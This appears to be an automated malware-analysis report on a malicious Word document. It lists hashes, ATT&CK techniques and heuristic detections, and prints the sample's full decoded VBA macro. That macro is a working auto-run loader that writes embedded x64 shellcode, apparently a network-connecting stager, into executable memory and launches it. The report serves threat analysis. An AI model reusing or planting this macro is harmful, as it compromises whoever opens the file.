Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b97b65f0fc6941b4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2019-08-07 11:16:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: ecfb7bb0ce4eed66db9dcea50efe7ea8 SHA-1: c40d36f3c34297808e3187816139bd9abbb453cb SHA-256: b97b65f0fc6941b42261ef061a8d72c4ea5bdd32d00e217049df5b2ba050002d
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with AutoOpen and Workbook_Open triggers, indicating an attempt to automatically execute code upon opening. Heuristics indicate the use of VirtualAlloc and CreateThread, common functions for shellcode execution and memory allocation. The ClamAV detection name 'Doc.Downloader.Generic-6698421-0' strongly suggests a downloader functionality, likely to fetch and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    #End If
Sub Auto_Open()
Dim ujtfqrbl As Long, bpvmqboqryyzbkwdhadz As Variant, lvraurkeia As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5294 bytes
SHA-256: 7fcba539298f4b5fc70333163932e65db27c133076ff0328ef2f43577005f72a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ionaaebrcg = 2
Const euvfuptnca = 1
Const dxkysuerfs = 0
#If VBA7 Then
Private Declare PtrSafe Function jsuodccixdge Lib "kernel32" Alias "CreateThread" (ByVal entwzdfymzflimu As Long, ByVal siwvcuqlzvn As Long, ByVal mllcnibryk As LongPtr, msolraxephjewgzv As Long, ByVal zfghjeinycki As Long, bpqwouqluqepswklzz As Long) As LongPtr
Private Declare PtrSafe Function isgmneuuzkkkb Lib "kernel32" Alias "VirtualAlloc" (ByVal lnhlmylspgkkwzhxi As Long, ByVal fozwqmdoiqjxhftkyu As Long, ByVal qiqgrhprkibmgbwqnphf As Long, ByVal rfbrerglnrvggvukw As Long) As LongPtr
Private Declare PtrSafe Function gtogiiesvlymbkdfcmt Lib "kernel32" Alias "RtlMoveMemory" (ByVal ivnyuhvcel As LongPtr, ByRef ytedsbwhycthxeesre As Any, ByVal wvbeazounrx As Long) As LongPtr
#Else
Private Declare Function jsuodccixdge Lib "kernel32" Alias "CreateThread" (ByVal entwzdfymzflimu As Long, ByVal siwvcuqlzvn As Long, ByVal mllcnibryk As Long, msolraxephjewgzv As Long, ByVal zfghjeinycki As Long, bpqwouqluqepswklzz As Long) As Long
Private Declare Function isgmneuuzkkkb Lib "kernel32" Alias "VirtualAlloc" (ByVal lnhlmylspgkkwzhxi As Long, ByVal fozwqmdoiqjxhftkyu As Long, ByVal qiqgrhprkibmgbwqnphf As Long, ByVal rfbrerglnrvggvukw As Long) As Long
Private Declare Function gtogiiesvlymbkdfcmt Lib "kernel32" Alias "RtlMoveMemory" (ByVal ivnyuhvcel As Long, ByRef ytedsbwhycthxeesre As Any, ByVal wvbeazounrx As Long) As Long
#End If
Sub Auto_Open()
Dim ujtfqrbl As Long, bpvmqboqryyzbkwdhadz As Variant, lvraurkeia As Long
#If VBA7 Then
Dim cbomjgjue As LongPtr, mvnvqckwnm As LongPtr
#Else
Dim cbomjgjue As Long, mvnvqckwnm As Long
#End If
bpvmqboqryyzbkwdhadz = Array(72, 131, 228, 240, 232, 204, dxkysuerfs, 0, dxkysuerfs, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, ionaaebrcg, 44, 32, 65, 193, 201, 13, 65, euvfuptnca, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, euvfuptnca, 208, 102, 129, 120, 24, _
11, ionaaebrcg, 15, 133, 114, dxkysuerfs, 0, dxkysuerfs, 139, 128, 136, dxkysuerfs, 0, dxkysuerfs, 72, 133, 192, 116, 103, 72, euvfuptnca, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, euvfuptnca, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, euvfuptnca, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, euvfuptnca, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, euvfuptnca, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, euvfuptnca, 208, 65, 139, 4, 136, 72, euvfuptnca, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 73, 190, 119, 115, 50, 95, 51, 50, dxkysuerfs, 0, 65, 86, 73, 137, 230, 72, 129, 236, 160, euvfuptnca, dxkysuerfs, 0, 73, 137, 229, 73, _
188, ionaaebrcg, dxkysuerfs, 17, 92, euvfuptnca, 1, euvfuptnca, 1, 65, 84, 73, 137, 228, 76, 137, 241, 65, 186, 76, 119, 38, 7, 255, 213, 76, 137, 234, 104, euvfuptnca, 1, dxkysuerfs, 0, 89, 65, 186, 41, 128, 107, dxkysuerfs, 255, 213, 106, 10, 65, 94, 80, 80, 77, 49, 201, 77, 49, 192, 72, 255, 192, 72, 137, 194, 72, 255, 192, 72, 137, 193, 65, 186, 234, 15, 223, 224, 255, 213, 72, 137, 199, 106, 16, 65, _
88, 76, 137, 226, 72, 137, 249, 65, 186, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 73, 255, 206, 117, 229, 232, 147, dxkysuerfs, 0, dxkysuerfs, 72, 131, 236, 16, 72, 137, 226, 77, 49, 201, 106, 4, 65, 88, 72, 137, 249, 65, 186, ionaaebrcg, 217, 200, 95, 255, 213, 131, 248, dxkysuerfs, 126, 85, 72, 131, 196, 32, 94, 137, 246, 106, 64, 65, 89, 104, dxkysuerfs, 16, dxkysuerfs, 0, 65, 88, 72, 137, 242, _
72, 49, 201, 65, 186, 88, 164, 83, 229, 255, 213, 72, 137, 195, 73, 137, 199, 77, 49, 201, 73, 137, 240, 72, 137, 218, 72, 137, 249, 65, 186, ionaaebrcg, 217, 200, 95, 255, 213, 131, 248, dxkysuerfs, 125, 40, 88, 65, 87, 89, 104, dxkysuerfs, 64, dxkysuerfs, 0, 65, 88, 106, dxkysuerfs, 90, 65, 186, 11, 47, 15, 48, 255, 213, 87, 89, 65, 186, 117, 110, 77, 97, 255, 213, 73, 255, 206, 233, 60, 255, _
255, 255, 72, euvfuptnca, 195, 72, 41, 198, 72, 133, 246, 117, 180, 65, 255, 231, 88, 106, dxkysuerfs, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213)
cbomjgjue = isgmneuuzkkkb(dxkysuerfs, UBound(bpvmqboqryyzbkwdhadz), &H1000, &H40)
For lvraurkeia = LBound(bpvmqboqryyzbkwdhadz) To UBound(bpvmqboqryyzbkwdhadz)
ujtfqrbl = bpvmqboqryyzbkwdhadz(lvraurkeia)
mvnvqckwnm = gtogiiesvlymbkdfcmt(cbomjgjue + lvraurkeia, ujtfqrbl, euvfuptnca)
Next lvraurkeia
mvnvqckwnm = jsuodccixdge(dxkysuerfs, dxkysuerfs, cbomjgjue, dxkysuerfs, 0, dxkysuerfs)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function biddvmxeyobx(ByVal rvschxqxbink As String) As String
Dim hoiawdfthagv As Long
For hoiawdfthagv = 1 To Len(rvschxqxbink) Step 2
biddvmxeyobx = biddvmxeyobx & Chr$(Val("&H" & Mid$(rvschxqxbink, hoiawdfthagv, 2)))
Next hoiawdfthagv
End Function

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